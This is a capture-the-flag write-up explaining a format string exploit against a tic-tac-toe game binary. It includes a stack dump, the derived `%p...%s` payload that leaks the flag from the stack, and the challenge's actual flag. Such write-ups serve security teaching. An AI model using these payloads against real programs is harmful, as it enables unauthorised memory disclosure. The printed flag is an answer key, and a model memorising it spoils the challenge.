36 lines
1.8 KiB
Markdown
36 lines
1.8 KiB
Markdown
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## Difficulty
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50/100 | MEDIUM
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Simple format string attack, this is not groundbreaking stuff.
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## Category
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Exploitation
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## How To Solve
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There is a format string vulnerability in the `print_win_message` function.
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The name the user inputs at the beginning of the game is printed here using
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`printf` without any validation. This means we can leak data from the stack.
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It also happens that the flag is on the stack.
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To leak the flag we are going to use the `%s` format string specifier. The
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problem is that there are a couple of values on the stack before that, for
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example the stack looks like this right before the `printf` call:
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```
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00:0000│ rsp 0x7fffffffd250 —▸ 0x5555555596b0 ◂— '%x%x%x%s'
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01:0008│-018 0x7fffffffd258 —▸ 0x55555555670b ◂— 'Xx_TicTacToesKing69_xX'
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02:0010│-010 0x7fffffffd260 —▸ 0x555555559720 —▸ 0x55555555670b ◂— 'Xx_TicTacToesKing69_xX'
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03:0018│-008 0x7fffffffd268 —▸ 0x55555555667f ◂— 'IGCTF{REDACTED}'
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04:0020│ rbp 0x7fffffffd270 —▸ 0x7fffffffd2b0 —▸ 0x7fffffffd2e0 —▸ 0x7fffffffd380 —▸ 0x7fffffffd3e0 ◂— ...
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05:0028│+008 0x7fffffffd278 —▸ 0x555555555b64 (play_game+240) ◂— mov rax, qword ptr [rbp - 0x18]
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06:0030│+010 0x7fffffffd280 —▸ 0x555555559740 —▸ 0x5555555596b0 ◂— '%x%x%x%s'
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07:0038│+018 0x7fffffffd288 —▸ 0x555555559720 —▸ 0x55555555670b ◂— 'Xx_TicTacToesKing69_xX'
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```
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So we need to pop off, 3 64 bit ints before we reach the flag. Which means we would
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need the following payload `%p%p%p%s`. This would work on a 32 bit machine but since
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this is a 64 bit binary, the first 6 arguments are passed via register. This means
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we need to "pop off" an additional 5 arguments (the first argument is the format
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string itself) giving us the final payload string:
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`%p%p%p%p%p%p%p%p%s`
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## Flag
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IGCTF{W3ll_y0u_st1ll_l0st_BuT_at_l3ast_yoU_g0t_th3_fl4g}
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